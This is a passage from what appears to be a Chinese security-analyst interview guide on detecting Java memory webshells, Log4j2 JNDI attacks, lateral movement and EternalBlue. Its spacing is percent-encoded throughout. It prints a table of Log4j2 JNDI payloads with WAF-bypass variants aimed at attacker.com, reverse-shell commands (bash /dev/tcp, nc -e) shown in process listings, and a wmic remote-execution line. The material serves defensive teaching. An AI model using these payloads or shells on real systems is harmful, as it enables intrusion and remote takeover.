/index.jsp)被反复访问 - 参数
cmd的值不断变化,都是系统命令 - 状态码都是200,返回长度各不相同
- 正常的
/index.jsp不应该接收cmd参数
检测思路二:排查中间件的error.log
原理:某些内存马的注入过程会产生异常,比如类加载错误、反射调用错误等,这些会记录在日志中。
举个例子,查看Tomcat的catalina.out日志:
grep%20-i%20error%20/usr/local/tomcat/logs/catalina.out%20| tail -20
发现异常日志:
15-Jan-2024 14:23:45.123 SEVERE [http-nio-8080-exec-10]%20org.apache.catalina.core.ApplicationContext.log %20 %20Error%20creating%20filter%20with%20name%20'MaliciousFilter_1705299825123' %20 %20java.lang.NoClassDefFoundError:%20com/example/MaliciousFilter %20 %20 %20 %20at%20java.lang.ClassLoader.defineClass1(Native%20Method) %20 %20 %20 %20at%20java.lang.ClassLoader.defineClass(ClassLoader.java:756) %20 %20 %20 %20...
关键特征:
- Filter名称带有时间戳,不是常规的Filter名
- 类找不到错误,说明类可能在注入后被卸载或删除
检测思路三:对比JVM中的类和磁盘上的class文件
原理:内存中的类如果磁盘上没有对应的class文件,高度可疑。可以用JMX或者专用脚本列出JVM中所有的类,检查它们的ClassLoader和代码来源。
举个例子,使用Java自带工具列出JVM中的类:
#%20获取Tomcat进程PIDjps%20-l%20| grep tomcat#%20输出:12345%20org.apache.catalina.startup.Bootstrap
#%20列出所有已加载的类jcmd 12345 GC.class_histogram%20| grep -E "Filter|Servlet|Controller"
输出:
num%20 %20 %20#instances%20 %20 #bytes%20 class%20name------------------------------------------------------- %2045:%20 %20 %20 %20 %20 %201%20 %20 %20 %20 1024%20 com.example.MaliciousFilter %2046:%20 %20 %20 %20 %20 %201%20 %20 %20 %20 %20512%20 com.example.ShellController %2047:%20 %20 %20 %20 %20 %201%20 %20 %20 %20 %20512%20 com.example.InjectedServlet
检查这些类在磁盘上是否存在:
find%20/usr/local/tomcat/webapps%20-name "*.class" | grep -E "MaliciousFilter|ShellController|InjectedServlet"#%20没有输出,说明这些类在磁盘上不存在,是动态生成的
更深入的检测:使用脚本dump出Filter的具体内容
//%20使用JMX获取所有FilterMBeanServer mbeanServer%20= ManagementFactory.getPlatformMBeanServer();ObjectName filterName%20= new ObjectName("Catalina:type=Filter,*");Set<ObjectName>%20filters%20=%20mbeanServer.queryNames(filterName, null);for (ObjectName name%20:%20filters)%20{ %20 String filterClass%20=%20(String)%20mbeanServer.getAttribute(name, "filterClass"); %20 System.out.println("Filter:%20" +%20name%20+ "%20Class:%20" +%20filterClass);}
检测思路四:使用专用工具
原理:GitHub上有不少内存马检测脚本,比如java-memshell-scanner,可以dump出JVM内存中的Filter、Servlet、Listener,分析其内容。
举个例子,使用java-memshell-scanner工具:
#%20下载工具git clone https://github.com/c0ny1/java-memshell-scanner.git
#%20编译并注入到目标JVMjava%20-jar%20java-memshell-scanner.jar%2012345
工具输出:
[*]%20Target%20PID: 12345[*]%20Scanning for malicious%20filters...[!]%20Found%20suspicious filter:%20MaliciousFilter_1705299825123[!]%20 %20Class:%20com.example.MaliciousFilter[!]%20 %20URL Pattern: /*[!]%20 %20Dumping%20bytecode...[*]%20Scanning%20for%20malicious%20servlets...[!]%20Found%20suspicious%20servlet:%20ShellServlet[!]%20 %20URL%20Pattern:%20/shell/*[*]%20Scanning%20for%20malicious%20interceptors...[!]%20Found%20suspicious%20interceptor:%20MaliciousInterceptor[!]%20 %20Target:%20com.example.NormalController
内存马的清除
清除方式一:重启服务
原理:清除内存马最彻底的方法是重启服务。因为内存马只存在于内存中,重启后就会消失。
举个例子,重启Tomcat服务:
#%20先备份配置文件cp -r%20/usr/local/tomcat/conf%20/backup/
#%20停止Tomcat/usr/local/tomcat/bin/shutdown.sh
#%20确认进程已终止ps%20-ef%20|%20grep%20tomcat
#%20启动Tomcat/usr/local/tomcat/bin/startup.sh
#%20验证内存马是否还存在curl "http://localhost:8080/index.jsp?cmd=whoami"#%20返回正常页面,不再执行命令
清除方式二:反注册Filter/Servlet
原理:对于动态注册的Filter、Servlet、Listener,可以通过JMX进行反注册。比如调用filterRegistration.destroy()方法。
举个例子,通过JMX反注册恶意Filter:
//%20获取ServletContextServletContext context%20=%20request.getSession().getServletContext();
//%20获取FilterRegistrationFilterRegistration filterReg%20=%20context.getFilterRegistration("MaliciousFilter_1705299825123");if (filterReg%20!= null)%20{ %20 //%20销毁Filter %20 %20filterReg.destroy(); %20 System.out.println("Malicious%20filter%20removed!");}
//%20或者通过反射直接操作内部对象Field filterConfigsField%20=%20context.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map<String, Object>%20filterConfigs%20=%20(Map<String, Object>)%20filterConfigsField.get(context);filterConfigs.remove("MaliciousFilter_1705299825123");
*清除Spring%20Controller内存马:*
//%20获取RequestMappingHandlerMappingRequestMappingHandlerMapping mapping%20=%20context.getBean(RequestMappingHandlerMapping.class);
//%20获取所有注册的HandlerMap<RequestMappingInfo, HandlerMethod>%20handlerMethods%20=%20mapping.getHandlerMethods();
//%20遍历并移除恶意的Handlerfor (Map.Entry<RequestMappingInfo, HandlerMethod>%20entry%20:%20handlerMethods.entrySet())%20{ %20 HandlerMethod handler%20=%20entry.getValue(); %20 if (handler.getBean().getClass().getName().contains("MaliciousController"))%20{ %20 %20 %20 %20mapping.unregisterMapping(entry.getKey()); %20 %20 %20 System.out.println("Malicious%20controller%20removed:%20" +%20entry.getKey()); %20 %20}}
清除方式三:卸载Agent
原理:对于Agent马,需要卸载agent或者重启JVM。卸载agent比较困难,通常只能重启。
举个例子,尝试通过Java的Instrumentation%20API卸载Agent:
//%20获取Instrumentation实例(困难,需要从JVM内部获取)Instrumentation inst = ...;
//%20列出所有AgentList<Instrumentation>%20agents%20=%20inst.getInitiatedClasses(ClassLoader.getSystemClassLoader());
//%20Agent通常不支持动态卸载,需要重启JVM
由于Java%20Agent通常不支持动态卸载,最可靠的方式是重启JVM:
#%20查找并终止恶意进程kill -9 12345
#%20确认进程已终止ps%20-ef%20| grep 12345
#%20重新启动应用/usr/local/tomcat/bin/startup.sh
参考回答
内存马是一种不落地的高级WebShell,通过动态注册Filter、Servlet、Listener,或者用Java%20Agent技术注入到JVM中。检测主要靠分析Web日志,看是否有异常的cmd参数请求;排查error.log看是否有类加载异常;对比内存类和磁盘文件,检查是否有动态生成的类;或者用java-memshell-scanner这类专用工具。清除最彻底的方法是重启服务,因为内存马只在内存中存活。对于动态注册的Filter,也可以通过JMX反注册来清除。Agent类型的马基本只能靠重启,因为Java%20Agent不支持动态卸载。
8.%20Log4j2漏洞的特征与判断
Log4j2漏洞是2021年爆发的严重漏洞,至今仍是面试热点。
漏洞原理
Apache%20Log4j2是一个Java日志组件,在记录日志时,如果日志内容中包含${jndi:ldap://...}这样的字符串,它会解析并执行这个JNDI查询。攻击者可以通过构造恶意的JNDI地址,指向一个恶意的LDAP服务器,LDAP服务器返回一个恶意的Java对象,从而在目标服务器上执行任意代码。
这个漏洞的本质是Log4j2支持Lookup功能,允许在日志中使用${}表达式引用外部资源,包括JNDI。而JNDI可以加载远程的Java类,这就形成了远程代码执行。
漏洞特征
Log4j2漏洞的攻击特征非常明显,就是请求中包含${jndi:...}。攻击者可能会用各种绕过手法,比如${${lower:j}ndi}、${jndi:ldap://...}等。如果WAF检测到这种模式,就会产生告警。
举个例子,假设有一个网站,URL是 http://example.com/login,后台使用Log4j2记录用户登录时的用户名。后台的Java代码是:
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
@PostMapping("/login")public String login(String username, String password)%20{ %20 Logger logger%20= LogManager.getLogger(LoginController.class); %20 %20logger.info("User%20login%20attempt:%20" +%20username); %20 //%20其他登录逻辑...}
如果攻击者在用户名参数中构造恶意payload:
HTTP请求包:
POST /login%20HTTP/1.1Host:%20example.comContent-Type:%20application/x-www-form-urlencodedContent-Length: 98
username=${jndi:ldap://attacker.com:1389/Exploit}&password=123456
后台Log4j2记录日志时,username的值是${jndi:ldap://attacker.com:1389/Exploit},Log4j2解析这个表达式,触发JNDI查询,连接攻击者的LDAP服务器,下载恶意类并执行。
常见的绕过手法:
|%20Payload%20|%20说明%20|
|%20—%20|%20—%20|
|%20${jndi:ldap://attacker.com/exp}%20|%20基础payload%20|
|%20${jndi:ldap://attacker.com:1389/exp}%20|%20指定端口%20|
|%20${${lower:j}ndi:ldap://attacker.com/exp}%20|%20使用lower绕过关键字检测%20|
|%20${${upper:j}ndi:ldap://attacker.com/exp}%20|%20使用upper绕过%20|
|%20${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/exp}%20|%20多层嵌套绕过%20|
|%20${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/exp}%20|%20使用::-反转绕过%20|
|%20${jndi:ldap://attacker.com/exp#恶意类}%20|%20使用#指定类名%20|
|%20${jndi:dns://attacker.com/exp}%20|%20DNS探测(不执行代码,仅用于探测漏洞是否存在)%20|
判断攻击是否成功
判断方法一:查看流量日志(外联请求)
原理:目标主机是否存在到LDAP、RMI、DNS服务器的外联请求。如果目标主机主动连接了攻击者的LDAP服务器,说明JNDI查询已经触发。
举个例子,查看目标主机的网络连接记录:
#%20查看当前网络连接netstat -anp%20|%20grep%20-E "389|1389|1099|53"
#%20输出示例tcp %20 %20 %20 0 %20 %20 0 192.168.1.100:45678 %20 45.33.22.11:1389 %20 %20 %20ESTABLISHED 12345/java
或者查看防火墙日志、流量监控系统(如Zeek、Suricata)中的告警:
时间:%202026-03-28%2014:23:45源IP:%20192.168.1.100源端口:%2045678目标IP:%2045.33.22.11目标端口:%201389协议:%20TCP威胁情报:%20已知恶意LDAP服务器
关键特征:
- 目标端口通常是
1389(LDAP)、1099(RMI)、53(DNS) - 连接发生在攻击请求后的几秒内
- 目标IP通常是攻击者控制的服务器
判断方法二:查看主机日志(类加载记录)
原理:如果攻击成功,通常会从LDAP服务器下载恶意类,可以通过监控class加载来检测。
举个例子,查看Java应用的日志:
#%20查看Tomcat的catalina.outgrep%20-i "ClassNotFoundException\|ClassLoader" /usr/local/tomcat/logs/catalina.out%20| tail -20
输出示例:
15-Jan-2024 14:23:45.678 INFO%20[http-nio-8080-exec-10]%20org.apache.catalina.loader.WebappClassLoaderBase.loadClass %20 %20Loading class from remote%20repository:%20http://45.33.22.11/Exploit.class15-Jan-2024 14:23:45.789 INFO%20[http-nio-8080-exec-10]%20com.sun.jndi.ldap.obj. %20 %20Deserializing object from LDAP:%20Exploit
或者启用JVM类加载监控:
#%20在JVM启动参数中添加-verbose:class
日志输出:
[Loaded com.example.Exploit from file:/tmp/Exploit.class]
关键特征:
- 出现
Loading%20class%20from%20remote或类似的日志 - 类名通常是
Exploit、Payload、Exp等 - 类文件被加载到临时目录或内存中
判断方法三:查看进程(反弹shell痕迹)
原理:Log4j2漏洞通常用于获取服务器权限,攻击成功后可能会反弹shell。
举个例子,查看目标主机的进程列表:
#%20查看异常进程ps aux%20|%20grep%20-E "bash|nc|sh|python|curl|wget"
#%20输出示例root %20 %20 12345 0.0 0.1 12345 6789 ?%20 %20 %20 %20 S%20 %20 14:23 %20 0:00 bash%20-i%20>&%20/dev/tcp/45.33.22.11/4444 0>&1root %20 %20 12346 0.0 0.0 %20 4567 1234 ?%20 %20 %20 %20 S%20 %20 14:23 %20 0:00 nc%20-e%20/bin/sh 45.33.22.11 4444
或者查看/proc目录下的进程信息:
#%20查看进程12345的打开文件ls -la%20/proc/12345/fd/
输出示例:
lrwx------ 1 root%20root 64 Jan 15 14:23 0 ->%20socket:[123456]lrwx------ 1 root%20root 64 Jan 15 14:23 1 ->%20socket:[123456]lrwx------ 1 root%20root 64 Jan 15 14:23 2 ->%20socket:[123456]
这表示该进程打开了网络socket,可能是反弹shell。
关键特征:
- 出现
bash%20-i%20>&%20/dev/tcp/...这种典型的反弹shell命令 - 出现
nc%20-e%20/bin/sh等netcat反弹shell - 出现
python%20-c%20'import%20socket...'等Python反弹shell
判断方法四:查看Web访问日志(命令执行痕迹)
原理:如果攻击者在目标主机上执行了命令,比如whoami、id等,可以通过访问日志看到对应的请求和响应。
举个例子,查看Web服务器的访问日志:
#%20查看Tomcat访问日志tail -100 /usr/local/tomcat/logs/localhost_access_log.2024-01-15.txt
输出示例:
45.33.22.11 - - [15/Jan/2024:14:23:45 +0800] "POST%20/login%20HTTP/1.1" 200 24545.33.22.11 - - [15/Jan/2024:14:23:46 +0800] "GET%20/?cmd=whoami%20HTTP/1.1" 200 1245.33.22.11 - - [15/Jan/2024:14:23:47 +0800] "GET%20/?cmd=id%20HTTP/1.1" 200 4545.33.22.11 - - [15/Jan/2024:14:23:48 +0800] "GET%20/?cmd=cat%20/etc/passwd%20HTTP/1.1" 200 1245
关键特征:
- 同一IP在短时间内有多个请求
- 请求参数中包含
cmd、command、exec等关键字 - 参数值包含
whoami、id、cat等系统命令 - 响应长度随命令输出变化
综合判断示例
攻击流程:
- 攻击者发送payload:
${jndi:ldap://45.33.22.11:1389/Exploit} - 目标服务器发起LDAP查询:连接
45.33.22.11:1389 - LDAP服务器返回恶意类地址:
http://45.33.22.11/Exploit.class - 目标服务器加载恶意类,执行代码
- 恶意代码反弹shell:
bash%20-i%20>&%20/dev/tcp/45.33.22.11/4444%200>&1 - 攻击者通过反弹shell执行命令
判断依据:
|%20检查项%20|%20发现结果%20|%20判断%20|
|%20—%20|%20—%20|%20—%20|
|%20访问日志%20|%20POST%20/login%20中包含${jndi:ldap://45.33.22.11:1389/Exploit}%20|%20存在攻击尝试%20|
|%20网络连接%20|%20目标服务器连接了45.33.22.11:1389%20|%20JNDI查询已触发%20|
|%20主机日志%20|%20出现Loading%20class%20from%20remote:%20http://45.33.22.11/Exploit.class%20|%20恶意类已加载%20|
|%20进程列表%20|%20存在bash%20-i%20>&%20/dev/tcp/45.33.22.11/4444%20|%20反弹shell成功%20|
|%20访问日志%20|%20后续出现?cmd=whoami等请求%20|%20命令执行成功%20|
结论:Log4j2漏洞攻击成功,服务器已被控制。
参考回答
Log4j2漏洞的原理是日志组件解析${jndi:ldap://...}导致JNDI注入,攻击者可以通过这种方式远程加载恶意类执行任意代码。特征就是请求中包含这种格式的payload,攻击者常用${lower:}、${upper:}、${::-}等方式绕过WAF检测。
判断攻击是否成功,主要看四点:第一,看流量日志,目标主机有没有外联到LDAP(1389端口)、RMI(1099端口)或DNS服务器;第二,看主机日志,有没有从远程加载恶意类的记录;第三,看进程,有没有反弹shell的进程,比如bash%20-i%20>&%20/dev/tcp/...;第四,看Web访问日志,攻击成功后通常会有执行whoami、id等命令的痕迹。如果这几点都对上了,基本可以确定攻击成功。
9.%20内网横向移动的告警类型
典型告警类型
1.%20端口扫描
原理:内网主机对大量IP的445、3389、22、1433、3306等端口发起扫描。这是横向移动的前兆,攻击者在寻找可攻击的目标。
举个例子,假设攻击者已经控制了IP为192.168.1.100的主机,现在对内网进行扫描:
安全设备告警:
告警时间:%202026-03-28%2014:23:45告警类型:%20端口扫描源IP:%20192.168.1.100目标IP:%20192.168.1.1-192.168.1.254目标端口:%20445,%203389,%2022,%201433,%203306扫描方式:%20SYN扫描扫描次数:%201000+次/秒
抓包分析(Wireshark捕获):
No.%20 Time %20 %20 %20 Source %20 %20 %20 %20 %20Destination%20 %20 %20Protocol%20 Info1 %20 14:23:45 %20 192.168.1.100 %20 192.168.1.1 %20 %20 TCP%20 %20 %20 52234 → 445 [SYN]2 %20 14:23:45 %20 192.168.1.100 %20 192.168.1.2 %20 %20 TCP%20 %20 %20 52235 → 445 [SYN]3 %20 14:23:45 %20 192.168.1.100 %20 192.168.1.3 %20 %20 TCP%20 %20 %20 52236 → 445 [SYN]4 %20 14:23:45 %20 192.168.1.100 %20 192.168.1.4 %20 %20 TCP%20 %20 %20 52237 → 445 [SYN]...
关键特征:
- 短时间内(几秒到几分钟)访问大量IP
- 目标端口集中在常见服务端口
- 源IP固定,目标IP连续或随机变化
- 每个目标只访问少数几个端口
2.%20暴力破解
原理:内网主机对其他主机的SMB、RDP、SSH等服务发起密码爆破。如果短时间内有大量登录失败记录,说明正在爆破。
举个例子,攻击者利用192.168.1.100对192.168.1.10(域控)进行RDP爆破:
Windows安全日志(目标主机):
事件ID:%204625(登录失败)时间:%202026-03-15%2014:25:10账户名:%20administrator源IP:%20192.168.1.100失败原因:%20用户名或密码错误
事件ID:%204625时间:%202026-03-15%2014:25:11账户名:%20admin源IP:%20192.168.1.100
事件ID:%204625时间:%202026-03-15%2014:25:12账户名:%20user源IP:%20192.168.1.100
事件ID:%204625时间:%202026-03-15%2014:25:13账户名:%20test源IP:%20192.168.1.100
事件ID:%204624(登录成功)时间:%202026-03-15%2014:25:45账户名:%20administrator源IP:%20192.168.1.100
安全设备告警:
告警时间:%202026-03-15%2014:25:10-14:25:45告警类型:%20暴力破解源IP:%20192.168.1.100目标IP:%20192.168.1.10目标端口:%203389%20(RDP)失败次数:%2035次成功次数:%201次
关键特征:
- 短时间内大量登录失败事件(事件ID%204625)
- 失败后出现登录成功事件(事件ID%204624)
- 目标账户名通常是常见账户(administrator、admin、root等)
- 源IP固定,目标IP单一
3.%20漏洞利用
原理:内网主机利用MS17-010永恒之蓝等漏洞攻击其他主机。MS17-010攻击的特征是445端口有大量异常流量,特别是SMB协议的某些特定数据包。
举个例子,攻击者利用192.168.1.100对192.168.1.20(文件服务器)发起MS17-010攻击:
安全设备告警:
告警时间:%202026-03-15%2014:30:15告警类型:%20MS17-010%20永恒之蓝漏洞利用源IP:%20192.168.1.100目标IP:%20192.168.1.20目标端口:%20445攻击载荷:%20SMB_COM_TRANSACTION2%20(0x32)特征码:%20SMB1%20协议中的特定数据包
抓包分析(Wireshark):
No.%20 Time%20 %20 %20 %20 Source%20 %20 %20 %20 %20 Destination%20 %20 %20Protocol%20 Info1 %20 14:30:15 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20Negotiate%20Protocol%20Request2 %20 14:30:15 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20Session%20Setup%20AndX%20Request3 %20 14:30:15 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20Tree%20Connect%20AndX%20Request4 %20 14:30:15 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20Trans2%20(0x32)%20-%20TRANS2_FIND_FIRST25 %20 14:30:15 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20Trans2%20(0x32)%20-%20异常数据包(溢出)6 %20 14:30:16 %20 192.168.1.100 %20 192.168.1.20 %20 %20SMB%20 %20 %20 %20SMB_COM_TRANSACTION2%20-%20shellcode
目标主机日志:
系统日志%20-%20事件ID:%207045(服务创建)时间:%202024-01-15%2014:30:20服务名称:%20MsvcService服务路径:%20C:\Windows\Temp\svchost.exe启动类型:%20自动
关键特征:
- 445端口出现SMB1协议的异常数据包
- 包含
TRANS2、FIND_FIRST2等特定请求 - 攻击后可能创建服务(事件ID%207045)或执行恶意进程
4.%20远程执行
原理:使用PsExec、WMI、WinRM、schtasks等工具进行远程命令执行。PsExec会在远程主机上创建服务,会在系统日志中留下事件ID%207045。WMI不会留下明显的进程创建日志,更隐蔽。
举个例子,攻击者使用PsExec在192.168.1.30(应用服务器)上执行命令:
目标主机系统日志:
事件ID:%207045(服务创建)时间:%202026-03-15%2014:35:22服务名称:%20PSEXESVC服务文件名:%20C:\Windows\PSEXESVC.exe服务类型:%20用户模式服务启动类型:%20手动账户:%20LocalSystem
安全设备告警:
告警时间:%202026-03-15%2014:35:22告警类型:%20PsExec远程执行源IP:%20192.168.1.100目标IP:%20192.168.1.30目标端口:%20445%20(SMB)特征:%20创建服务PSEXESVC
使用WMI执行命令(更隐蔽):
攻击者命令:wmic%20/node:192.168.1.30%20/user:administrator%20/password:123456%20process%20call%20create "cmd.exe%20/c%20whoami%20>%20C:\temp\result.txt"
目标主机日志:
事件ID:%204688(进程创建)时间:%202024-01-15%2014:36:10进程名:%20wmiprvse.exe创建者:%20wininit.exe子进程:%20cmd.exe%20/c%20whoami%20>%20C:\temp\result.txt
关键特征:
- PsExec:事件ID%207045,服务名包含
PSEXESVC - WMI:进程创建事件中
wmiprvse.exe作为父进程 - WinRM:事件ID%204648(使用显式凭据登录),
winrshost.exe进程 - schtasks:计划任务创建事件(事件ID%204698)
5.%20隧道流量
原理:DNS隧道、ICMP隧道、HTTP隧道等用于C2通信的流量。DNS隧道的特征是域名解析请求异常多,子域名长度异常,或者包含编码数据。
举个例子,攻击者通过DNS隧道传输数据:
DNS流量抓包:
No.%20 Time %20 %20 %20 Source %20 %20 %20 %20 %20Destination%20 %20 %20Protocol%20 Info1 %20 14:40:01 %20 192.168.1.100 %20 8.8.8.8 %20 %20 %20 %20 DNS%20 %20 %20 %20Q:%20A? 1a2b3c4d5e6f7g8h9i0j.attacker.com2 %20 14:40:02 %20 192.168.1.100 %20 8.8.8.8 %20 %20 %20 %20 DNS%20 %20 %20 %20Q:%20A?%20k1l2m3n4o5p6q7r8s9t0.attacker.com3 %20 14:40:03 %20 192.168.1.100 %20 8.8.8.8 %20 %20 %20 %20 DNS%20 %20 %20 %20Q:%20A?%20u1v2w3x4y5z6a7b8c9d0.attacker.com4 %20 14:40:04 %20 192.168.1.100 %20 8.8.8.8 %20 %20 %20 %20 DNS%20 %20 %20 %20Q:%20A?%20e1f2g3h4i5j6k7l8m9n0.attacker.com...
安全设备告警:
告警时间:%202026-03-15%2014:40:01-14:45:00告警类型:%20DNS隧道源IP:%20192.168.1.100目标IP:%208.8.8.8域名:%20attacker.com特征:%20子域名长度异常(>50字符)DNS查询频率:%20300次/分钟
ICMP隧道特征:
No.%20 Time%20 %20 %20 %20 Source%20 %20 %20 %20 %20 Destination%20 %20 %20Protocol%20 Info1 %20 14:45:01 %20 192.168.1.100 %20 45.33.22.11 %20 %20 ICMP%20 %20 %20 Echo (ping) request%20 data: 1024 bytes2 %20 14:45:02 %20 45.33.22.11 %20 %20 192.168.1.100 %20 ICMP%20 %20 %20 Echo (ping) reply%20 %20 data: 1024 bytes3 %20 14:45:03 %20 192.168.1.100 %20 45.33.22.11 %20 %20 ICMP%20 %20 %20 Echo (ping) request%20 data: 1024 bytes...
关键特征:
- DNS隧道:子域名长度异常(正常域名很少超过30字符),频率异常高,域名中包含Base32/Base64编码特征
- ICMP隧道:ICMP数据包大小异常(正常ping包64字节,隧道可达上千字节),ICMP流量突增
- HTTP隧道:User-Agent异常,请求路径异常,访问频率规律(如每60秒一次)
6.%20CobaltStrike相关
原理:Beacon心跳包通常是规律的间隔,比如60秒一次。Stageless%20shellcode会下载完整beacon,有明显的HTTP/HTTPS请求特征。
举个例子,CobaltStrike%20Beacon的HTTP通信:
HTTP请求包:
GET /search?q=MTIzNDU2Nzg5MGFiY2RlZg==%20HTTP/1.1Host:%20malicious-c2.comUser-Agent:%20Mozilla/5.0 (Windows%20NT 10.0;%20Win64;%20x64)%20AppleWebKit/537.36Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:%20en-US,en;q=0.5Accept-Encoding:%20gzip,%20deflateCookie:%20__cfduid=d41d8cd98f00b204e9800998ecf8427eConnection:%20keep-alive
HTTP响应包:
HTTP/1.1%20200%20OKDate:%20Mon,%2015%20Jan%202024%2014:50:01%20GMTServer:%20ApacheContent-Type:%20text/htmlContent-Length:%20256
(加密的Beacon数据)
安全设备告警:
告警时间:%202026-03-15%2014:50:01告警类型:%20CobaltStrike%20Beacon源IP:%20192.168.1.100目标IP:%2045.33.22.11目标端口:%20443特征:%20规律心跳(每60秒一次)User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36URI路径:%20/search?q=Base64编码数据
抓包分析发现规律心跳:
时间戳%20 %20 %20 %20 %20 %20 %20源IP%20 %20 %20 %20 %20 %20目标IP%20 %20 %20 %20 %20 URI14:50:01%20 %20 %20 %20192.168.1.100%20 45.33.22.11%20 %20 /search?q=MTIz...14:51:01%20 %20 %20 %20192.168.1.100%20 45.33.22.11%20 %20 /search?q=NDU2...14:52:01%20 %20 %20 %20192.168.1.100%20 45.33.22.11%20 %20 /search?q=Nzg5...14:53:01%20 %20 %20 %20192.168.1.100%20 45.33.22.11%20 %20 /search?q=MGFi...
关键特征:
- 规律心跳间隔(默认60秒,可配置)
- URI路径中可能包含Base64编码的随机数据
- User-Agent为常见浏览器但可能异常(如Windows%2010上使用Linux%20UA)
- 响应包大小固定或在一定范围内波动
- JA3指纹特征(TLS握手指纹)可识别CobaltStrike
参考回答
内网横向移动的告警类型包括端口扫描、暴力破解、漏洞利用、远程执行、隧道流量、CobaltStrike心跳包等。端口扫描的特征是短时间内访问大量IP的445、3389等端口。暴力破解的特征是大量登录失败事件后出现登录成功。漏洞利用主要是MS17-010这类SMB漏洞,445端口有异常流量。远程执行在PsExec场景下会留下事件ID%207045创建服务,WMI则更隐蔽。隧道流量可以通过DNS子域名长度、ICMP包大小异常来发现。CobaltStrike的特征是规律的60秒心跳间隔。如果发现内网主机对其他主机发起攻击(除开误报),说明这台主机可能已被攻陷,需要立即响应。
10.%20永恒之蓝漏洞的日志特征
MS17-010永恒之蓝是Windows%20SMB协议的远程代码执行漏洞,2017年爆发后影响巨大。
漏洞原理
永恒之蓝利用的是Windows%20SMB协议处理特定数据包时的缓冲区溢出漏洞。攻击者可以发送精心构造的SMB数据包,触发缓冲区溢出,执行任意代码。该漏洞可以通过445端口直接攻击,不需要用户交互。
日志特征
1.%20安全设备告警特征
原理:在安全设备上,永恒之蓝攻击的特征是:目标端口为445,存在大量SMB协议的数据包,数据包长度异常,包含特定的shellcode特征。
举个例子,假设攻击者从192.168.1.100对目标192.168.1.20发起永恒之蓝攻击:
IDS/IPS告警:
告警时间:%202026-03-15%2014:30:15告警名称:%20ET%20EXPLOIT%20MS17-010%20EternalBlue%20SMB%20Remote%20Code%20Execution%20(MS17-010)告警级别:%20高危源IP:%20192.168.1.100源端口:%2049152目标IP:%20192.168.1.20目标端口:%20445协议:%20TCP攻击载荷特征:%20\x00\x00\x00\xc0\xfe\x53\x4d\x42
防火墙日志:
时间:%202026-03-15%2014:30:15源IP:%20192.168.1.100目标IP:%20192.168.1.20目标端口:%20445动作:%20允许字节数:%204862数据包数:%2023会话时长:%202秒
关键特征:
- 目标端口固定为445(SMB服务端口)
- 短时间内有多个数据包交互
- 告警名称包含
MS17-010、EternalBlue、SMB等关键字 - 攻击载荷特征码如
\x00\x00\x00\xc0\xfe\x53\x4d\x42(SMB协议头)
2.%20流量层面特征(Wireshark抓包分析)
原理:在流量层面,Wireshark中可以看到SMB协议的数据包,如果开启了SMB的签名,可以分析具体的payload。某些永恒之蓝的exp会发送特定的标志位,比如\x00\x00\x00\xc0\xfe\x53\x4d\x42这样的特征。
举个例子,使用Wireshark抓取攻击流量:
Wireshark显示:
No.%20 %20 %20Time%20 %20 %20 %20 %20 %20Source%20 %20 %20 %20 %20 %20 %20 %20 Destination%20 %20 %20 %20 %20 %20Protocol%20 %20Info1 %20 %20 %20 14:30:15.001 %20 192.168.1.100 %20 %20 %20 %20 192.168.1.20 %20 %20 %20 %20 %20TCP%20 %20 %20 %20 49152 → 445 [SYN]%20Seq=02%20 %20 %20 %2014:30:15.002%20 %20192.168.1.20%20 %20 %20 %20 %20 192.168.1.100%20 %20 %20 %20 %20TCP%20 %20 %20 %20 445%20→%2049152%20[SYN,%20ACK]%20Seq=03%20 %20 %20 %2014:30:15.003%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 TCP%20 %20 %20 %20 49152%20→%20445%20[ACK]%20Seq=14%20 %20 %20 %2014:30:15.004%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 SMB%20 %20 %20 %20 Negotiate%20Protocol%20Request5%20 %20 %20 %2014:30:15.005%20 %20192.168.1.20%20 %20 %20 %20 %20 192.168.1.100%20 %20 %20 %20 %20SMB%20 %20 %20 %20 Negotiate%20Protocol%20Response6%20 %20 %20 %2014:30:15.006%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 SMB%20 %20 %20 %20 Session%20Setup%20AndX%20Request7%20 %20 %20 %2014:30:15.007%20 %20192.168.1.20%20 %20 %20 %20 %20 192.168.1.100%20 %20 %20 %20 %20SMB%20 %20 %20 %20 Session%20Setup%20AndX%20Response8%20 %20 %20 %2014:30:15.008%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 SMB%20 %20 %20 %20 Tree%20Connect%20AndX%20Request9%20 %20 %20 %2014:30:15.009%20 %20192.168.1.20%20 %20 %20 %20 %20 192.168.1.100%20 %20 %20 %20 %20SMB%20 %20 %20 %20 Tree%20Connect%20AndX%20Response10%20 %20 %20 14:30:15.010%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 SMB%20 %20 %20 %20 Trans2%20(0x32)%20Request%20-%20TRANS2_FIND_FIRST211%20 %20 %20 14:30:15.011%20 %20192.168.1.100%20 %20 %20 %20 %20192.168.1.20%20 %20 %20 %20 %20 SMB%20 %20 %20 %20 SMB_COM_TRANSACTION2%20Request%20(溢出攻击)12%20 %20 %20 14:30:15.012%20 %20192.168.1.20%20 %20 %20 %20 %20 192.168.1.100%20 %20 %20 %20 %20TCP%20 %20 %20 %20 445%20→%2049152%20[RST]%20Seq=0
查看具体数据包内容:
